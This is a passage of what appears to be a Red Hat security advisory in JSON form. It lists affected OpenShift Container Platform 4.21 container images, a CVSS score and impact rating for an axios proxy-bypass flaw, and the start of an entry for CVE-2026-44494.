"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Proxy bypass via IPv4-mapped IPv6 address non-normalization"
},
{
"cve": "CVE-2026-44494",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-06-11T17:01:12.945664+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
